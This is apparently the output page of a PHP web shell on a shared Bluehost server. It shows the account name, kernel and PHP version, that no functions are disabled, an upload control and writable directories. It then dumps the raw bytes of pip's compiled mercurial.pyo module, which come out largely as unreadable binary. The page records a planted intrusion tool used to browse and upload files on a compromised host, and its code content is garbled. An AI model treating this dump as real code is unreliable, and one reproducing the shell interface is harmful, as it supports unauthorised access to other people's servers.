KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/pip/vcs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/pip/vcs/mercurial.pyo
�
r2Wc@@s�ddlmZddlZddlZddlZddlmZmZddlm	Z	m
Z
ddlmZddl
mZeje�Zde
fd��YZe	je�dS(	i(tabsolute_importN(tdisplay_pathtrmtree(tvcstVersionControl(tpath_to_url(tconfigparsert	MercurialcB@sqeZdZdZdZdZd�Zd�Zd	�Zd
�Z	d�Z
d�Zd
�Zd�Z
d�ZRS(thgs.hgtcloneshg+httpshg+httpsshg+sshshg+static-httpcC@sTtjdd�}|j|�z#|jd|gdtd|�Wdt|�XdS(s?Export the Hg repository at the url to the destination locations-exportspip-tarchivetshow_stdouttcwdN(ttempfiletmkdtemptunpacktrun_commandtFalseR(tselftlocationttemp_dir((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytexports
cC@s�tjj||jd�}tj�}yI|j|�|jdd|�t|d��}|j	|�WdQXWn/t
tjfk
r�}tj
d||�nX|jddg|d|�dS(	Nthgrctpathstdefaulttws/Could not switch Mercurial repository to %s: %stupdates-qR(tostpathtjointdirnameRtSafeConfigParsertreadtsettopentwritetOSErrortNoSectionErrortloggertwarningR(Rtdestturltrev_optionstrepo_configtconfigtconfig_filetexc((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytswitch s
cC@s:|jddgd|�|jddg|d|�dS(Ntpulls-qRR(R(RR(R*((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pyR/scC@s�|j�\}}|r.|g}d|}ng}d}|j||||�r�tjd||t|��|jddd||g�|jddg|d|�ndS(	Ns (to revision %s)tsCloning hg %s%s to %sR	s
--noupdates-qRR(tget_url_revtcheck_destinationR&tinfoRR(RR(R)trevR*trev_display((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytobtain3s	

cC@sO|jddgdtd|�j�}|j|�rEt|�}n|j�S(Nt
showconfigs
paths.defaultRR(RRtstript_is_local_repositoryR(RRR)((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytget_urlEscC@s+|jddgdtd|�j�}|S(Ntparentss--template={rev}RR(RRR9(RRtcurrent_revision((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytget_revisionMscC@s+|jddgdtd|�j�}|S(NR<s--template={node}RR(RRR9(RRtcurrent_rev_hash((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytget_revision_hashSscC@sw|j|�}|j�jd�s1d|}n|j�jdd�d}|sWdS|j|�}d|||fS(Nshg:shg+t-iis%s@%s#egg=%s(R;tlowert
startswithtegg_nametsplittNoneR@(RtdistRtrepotegg_project_nameR?((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pytget_src_requirementYs
cC@stS(s&Always assume the versions don't match(R(RR(R*((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pyt
check_versioncs(Rshg+httpshg+httpsshg+sshshg+static-http(t__name__t
__module__tnameRt	repo_nametschemesRR/RR7R;R>R@RJRK(((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pyRs	
							
(t
__future__RtloggingRR
t	pip.utilsRRtpip.vcsRRtpip.downloadRtpip._vendor.six.movesRt	getLoggerRLR&Rtregister(((s5/usr/lib/python2.7/site-packages/pip/vcs/mercurial.pyt<module>sW

Anon7 - 2021